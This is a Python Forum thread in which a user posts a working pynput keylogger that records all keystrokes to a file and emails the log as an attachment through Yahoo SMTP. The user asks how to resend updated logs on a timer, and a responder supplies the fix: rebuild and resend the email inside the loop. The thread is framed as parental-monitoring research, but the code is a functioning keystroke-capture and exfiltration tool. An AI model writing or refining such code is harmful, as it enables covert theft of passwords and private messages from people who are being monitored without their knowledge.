Python Forum
Problem with updating file to attach/pynput
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Problem with updating file to attach/pynput
#1
I've been dabbling in cyber security and doing some research on parenting monitoring tools and thought a key-logger/email sender would be a good project to learn how to build.

So the code I have sends an email correctly, and also sends the generated text file as an attachment.

The problems I'm having and need help with are: 1. As the key logger continues to log keystrokes, the email attachment does not update the file, it just sends the original file in the original path.

I would like to create a way to search for the path of the text file belonging to the key logger function, from the email function. In other words, I don't want to have to hard code the file path where the email should be looking for the attachment.

If there is a better way to do this, I'm all ears as I am learning. One way I thought was just read the contents of the keystrokes into an open file that is linked for sending through the email, but am not sure how to go about doing this. My code below.

One of the problems I believe I'm having is stopping the listener.join() call from stopping. An idea I had was putting the key logging function under a loop with a time limit, and stopping the listener.join() call so the file could be uploaded.

I am using Python latest version for windows. 3.x

from pynput.keyboard import Key, Listener
import logging
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import time
import threading



def main():


    def logger():

        logging.basicConfig(filename=("" + "key_log.txt"), 
        level=logging.DEBUG, format='%(asctime)s: %(message)s')

        def on_press(key):
            logging.info(str(key))
        with Listener(on_press=on_press) as listener:
            listener.join()




    def mail():
        email_user = '[email protected]'
        email_password = 'password'
        email_send = '[email protected]'

        subject = 'Test'
        #Creating message object for email.  Tying message object to 
        variables above.


        msg = MIMEMultipart()
        msg['From'] = email_user
        msg['To'] = email_send
        msg['Subject'] = subject
        #Actual message.
        body = 'Hi there, sending this email from Python!'
        #Attach a file
        msg.attach(MIMEText(body,'plain'))
        #File path needs double slash here. Filename is reference variable to 
        file location
        filename='C:\\Users\\JamesLaptop\\Desktop\\Python\\key_log.txt'
        #create attachment variable, open, filename and 

        attachment=open(filename,'rb')

        part = MIMEBase('application','octet-stream')
        part.set_payload((attachment).read())
        encoders.encode_base64(part)
        part.add_header('Content-Disposition',"attachment; filename= 
        "+filename)

        msg.attach(part)
        text = msg.as_string()
        server = smtplib.SMTP(host = 'smtp.mail.yahoo.com', port = 587)
        server.starttls()
        server.login(email_user,email_password)
        #send message
        while True:
            try:
                server.sendmail(email_user,email_send,text)
                print("Success")
                time.sleep(20)
            except Exception:
                print("Message failed to send")

        server.quit()



    w = threading.Thread(target = logger)
    w2 = threading.Thread(target = mail)
    w.start()
    w2.start()


main()
Reply
#2
Any input on this?
Reply
#3
I don't know if there is a good way to do that. I mean, you can't update an email after you send it, and you're currently sending the email before the keylogger has a chance to log anything.
Reply
#4
What I was hoping for was to be able to close and re-open the file/key logging function. For instance, for it to write for 15 minutes, then close the function, send the mail, then restart the function.
Reply
#5
(Oct-25-2018, 10:08 PM)jameseroni Wrote:
        while True:
            try:
                server.sendmail(email_user,email_send,text)
                print("Success")
                time.sleep(20)
That might work if you re-create text each time. But as it is, you build the email body once when the script starts up, and then send that one email over and over every 20 seconds.
Reply
#6
The attachment is sending just fine. Ignore the 20 second delay, I just had that in there for testing purposes.

The problem I'm having is that as the logger logs to the text file, the email will send the attachment but will not send an updated text file because the folder is still open and being written to.

I need a clean way to close the file, and re-open the function to start again after it captures so many characters... or so much time goes by.. etc.
Reply
#7
No, the problem is the while True. You never recreate the file attachment, you never re-open the file, you never build a new email. You open the file once, when the script starts, and then never look at it again.

The easiest solution, would be to move the while True to be the first line of the function, so you rebuild the email each time you want to send it.
Reply
#8
Nilamo, Thank you. This was helpful.. James
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Problem with "from pynput" LFreitas 1 129 Mar-24-2024, 02:23 AM
Last Post: deanhystad
  Python openyxl not updating Excel file MrBean12 1 250 Mar-03-2024, 12:16 AM
Last Post: MrBean12
  Updating sharepoint excel file odd results cubangt 1 756 Nov-03-2023, 05:13 PM
Last Post: noisefloor
  Pynput - One content on screen, another in the variable Valjean 4 890 Sep-18-2023, 06:00 PM
Last Post: Valjean
  Pynput Library not Working with Windows jacknewport 1 2,248 Mar-26-2022, 07:09 PM
Last Post: snippsat
  Initializing, reading and updating a large JSON file medatib531 0 1,724 Mar-10-2022, 07:58 PM
Last Post: medatib531
  Updating a config file [solved] ebolisa 8 2,532 Nov-04-2021, 10:20 AM
Last Post: Gribouillis
  Problem updating value in MySQL database dangermaus33 1 1,589 Nov-24-2020, 08:32 PM
Last Post: dangermaus33
  Is it possible to attach to an open existing Browser? tommytx 7 2,983 Apr-27-2020, 12:40 AM
Last Post: tommytx
  Solve Pynput Problem when changing language? ppel123 0 2,244 Feb-19-2020, 03:38 PM
Last Post: ppel123

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020